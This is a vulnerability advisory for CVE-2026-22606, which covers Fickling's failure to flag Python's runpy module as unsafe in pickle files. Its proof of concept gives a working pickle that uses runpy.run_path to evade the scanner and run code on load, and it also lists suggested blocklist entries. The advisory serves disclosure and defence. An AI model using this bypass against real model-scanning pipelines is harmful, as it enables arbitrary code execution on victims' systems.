CVE-2026-22606: Fickling has a bypass via runpy.run_path() and runpy.run_module()
Fickling's assessment runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66). Original report Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.runpath() or runpy.runmodule() is classified as SUSPICIOUS instead of OVERTLYMALICIOUS.
Published Jan 9, 2026 · Updated Jan 11, 2026
Affected packages
fickling
- Ecosystem
- PyPI
- Affected
- <= 0.1.6
- Fixed in
- 0.1.7
- Check
pip show fickling
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Fickling's assessment
runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).
Original report
Summary
Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
Details
The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
- File:
fickling/analysis.py - Class:
UnsafeImports - Issue: The blocklist does not include
runpy,runpy.run_path,runpy.run_module, orrunpy._run_code
Reference to similar fix:
- PR #187 added
ptyto the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach
- The same fix pattern should be applied for
runpy
How the bypass works:
- Attacker creates a pickle using
runpy.run_path()in__reduce__ - Fickling's
UnsafeImportsanalysis does not flagrunpyas dangerous - Only the
UnusedVariablesheuristic triggers, resulting inSUSPICIOUSseverity - The pickle should be rated
OVERTLY_MALICIOUSlikeos.system,eval, andexec
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable | | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |
Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:
- runpy
- runpy.run_path
- runpy.run_module
- runpy._run_code
- runpy._run_module_code
PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._Environment:
- Python 3.13.2
- fickling 0.1.6 (latest version, installed via pip)
Step 1: Create malicious pickle
import pickle import runpy
class MaliciousPayload: def __reduce__(self): return (runpy.run_path, ("/tmp/malicious_script.py",))
with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)
Step 2: Create the malicious script that will be executed
echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py
Step 3: Analyze with fickling
fickling --check-safety malicious.pkl
Expected output (if properly detected): Severity: OVERTLY_MALICIOUS
Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }
Step 4: Prove RCE by loading the pickle
import pickle pickle.load(open("malicious.pkl", "rb"))
Check: ls /tmp/pwned <-- file exists, proving code execution
Pickle disassembly (evidence):
0: \x80 PROTO 4 2: \x95 FRAME 92 11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP
Impact
Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with
runpy
Credited to beneaththecode.
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3
- https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2
- https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj
- https://github.com/trailofbits/fickling/pull/108
- https://github.com/trailofbits/fickling/pull/187
- https://github.com/trailofbits/fickling/pull/195
- https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66
- https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L87
- https://nvd.nist.gov/vuln/detail/CVE-2026-22606
- https://github.com/trailofbits/fickling/releases/tag/v0.1.7
- https://github.com/advisories/GHSA-wfq2-52f7-7qvj
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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